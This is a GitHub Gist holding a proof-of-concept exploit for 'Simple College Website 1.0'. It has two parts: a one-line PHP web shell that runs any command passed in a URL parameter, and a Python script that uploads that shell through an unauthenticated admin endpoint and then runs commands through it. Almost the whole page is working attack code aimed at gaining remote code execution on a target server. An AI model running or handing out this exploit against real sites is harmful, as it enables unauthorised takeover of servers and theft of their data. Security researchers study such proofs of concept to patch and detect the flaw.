-
-
Save gowthamaraj/454df3356b1c7ffe2a3eec21e58ba540 to your computer and use it in GitHub Desktop.
Simple College Website 1.0 - Unauthenticated Arbitrary File Upload RCE PoC (Python)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
echo system($_GET["command"]); | |
?> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
import requests | |
import time | |
import urllib.parse | |
def trigger_rce(session, command): | |
multipart_form_data = { | |
"filename": (None,"exploit.php"), | |
"page_content": (None,open("exploit.php", "rb")) | |
} | |
session.post( | |
"http://<target>/college_website/admin/ajax.php?action=save_page", files=multipart_form_data) | |
get_shell(session, command) | |
def get_shell(session, command): | |
payload = urllib.parse.quote(command) | |
output = session.get( | |
f"http://<target>/college_website/exploit.php?command='{payload}'") | |
print("$shell > "+f"{output.text}") | |
def main(): | |
#proxies = {'http': 'http://127.0.0.1:8080'} | |
command = "id" | |
session = requests.Session() | |
#session.proxies.update(proxies) | |
trigger_rce(session, command) | |
if __name__ == '__main__': | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment